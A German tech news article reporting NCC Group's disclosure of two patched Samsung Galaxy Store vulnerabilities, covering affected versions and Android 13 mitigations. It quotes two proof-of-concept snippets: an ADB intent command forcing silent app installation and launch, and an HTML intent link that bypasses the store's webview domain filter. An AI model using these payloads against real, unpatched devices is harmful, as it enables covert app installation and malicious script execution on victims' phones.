Auf Deinem Smartphone tauchen plötzlich unbekannte Apps auf? Die könnten aus dem Samsung Galaxy Store stammen. Ältere Geräte bleiben anfällig
Sicherheitsforscher haben einen ausführlichen Bericht zur Ausnutzung zweier Sicherheitslücken im Samsung Galaxy Store veröffentlicht. Diese erlauben es Angreifern, beliebige Apps auf fremden Smartphones zu installieren sowie bösartige Webseiten darauf zu öffnen. Ein Update steht bereits zur Verfügung. Ältere Geräte bleiben damit jedoch wahrscheinlich dauerhaft angreifbar.
Zwei Sicherheitslücken im Samsung Galaxy Store mit weitreichenden Folgen
Forscher der NCC Group haben bereits Ende letzten Jahres zwei neue Schwachstellen im Galaxy Store von Samsung entdeckt. Über eine davon ist es Angreifern möglich, beliebige Apps auf fremden Geräten zu installieren, ohne dass der Besitzer davon etwas mitbekommt. Mit der zweiten Lücke können sie ihre Opfer auf betrügerische Webseiten leiten, um darüber bösartigen JavaScript-Code auszuführen.
Zwar hat der Smartphone-Hersteller die beiden Sicherheitslücken mit einem Update am 1. Januar 2023 geschlossen. Nicht jeder Anwender dürfte jedoch in den Genuss der fehlerbereinigten Version 4.5.49.8 (oder neuer) des Samsung Galaxy Store kommen. Insbesondere ältere Geräte, die keinerlei Support mehr erhalten, bleiben damit weiterhin anfällig.
Dennoch hat die NCC Group gestern einen Bericht mit technischen Details zu den beiden Schwachstellen veröffentlicht. Jeweils ein Proof-of-Concept zu deren Ausnutzung ist ebenfalls mit dabei.
Installation und Ausführung beliebiger Apps aus dem Samsung Galaxy Store
Die erste Sicherheitslücke CVE-2023-21433 erlaubt es Angreifern über sogenannte Intents beliebige App-Installationsanfragen an den Galaxy Store von Samsung zu übermitteln. Zu Demonstrationszwecken installierten die Forscher das beliebte Spiel “Pokémon Go” über folgenden ADB-Befehl:
am start -n com.sec.android.app.samsungapps/.detail.alleypopup.AlleyDetailActivity --es GUID com.nianticlabs.pokemongo.ares --ez directInstall true --ez directOpen trueDer letzte Parameter sorgt dafür, dass das System die Anwendung direkt nach der Installation öffnet. Im Falle einer bösartigen App kann dies weitreichende Auswirkungen haben und Angreifern weitere Zugriffsmöglichkeiten verschaffen.
Webview lässt sich auf verseuchte Webseiten umleiten
Die zweite Schwachstelle CVE-2023-21434 bezieht sich auf einen Filter in der Webview des Samsung Galaxy Store, der eigentlich dafür sorgen soll, dass sich nicht jede beliebige Domain darin öffnen lässt. Aufgrund einer Fehlkonfiguration konnten die Sicherheitsforscher diese Barriere jedoch mit folgendem Codebeispiel umgehen:
<h1>
<a id="yayidyay" rel="noreferrer" href="intent://cloudgame/monitor?monitoringHost=<host>#Intent;action=android.intent.action.VIEW;package=com.sec.android.app.samsungapps;scheme=normalbetasamsungapps;S.android%2eintent%2eextra%2eREFERRER_NAME=http://com.sec.android.app.samsungapps;end"> YAYPOCYAY</a>
</h1>Wichtig sei dem Bericht der NCC Group zufolge, dass die als „<host>“ einzusetzende Zieldomain die Zeichenkette “player.glb.samsung-gamelauncher.com” enthalte. Jedoch reiche es aus, wenn Angreifer eine beliebige Domain registrieren und den genannten String lediglich als Subdomain hinzufügen. Dadurch lasse sich die Webview der Anwendung auf eine mit bösartigem JavaScript verseuchte Webseite leiten.
Android 13 bietet zusätzlichen Schutz
Mit beiden Angriffsszenarien erhalten Cyberkriminelle weitreichende Möglichkeiten, um fremde Smartphones unter ihre Kontrolle zu bringen. Die Tatsache, dass der Galaxy Store auf Samsung-Geräten mit Systemprivilegien ausgestattet ist, sorgt dabei für weitere schwerwiegende Sicherheitsauswirkungen.
Mit Android 13 ausgestattete Benutzer sind von der ersten Sicherheitslücke nicht betroffen. Aufgrund zusätzlicher Sicherheitsvorkehrungen in der neusten Version von Googles Betriebssystem ist die Schwachstelle dort selbst mit einem älteren Galaxy Store nicht ausnutzbar.
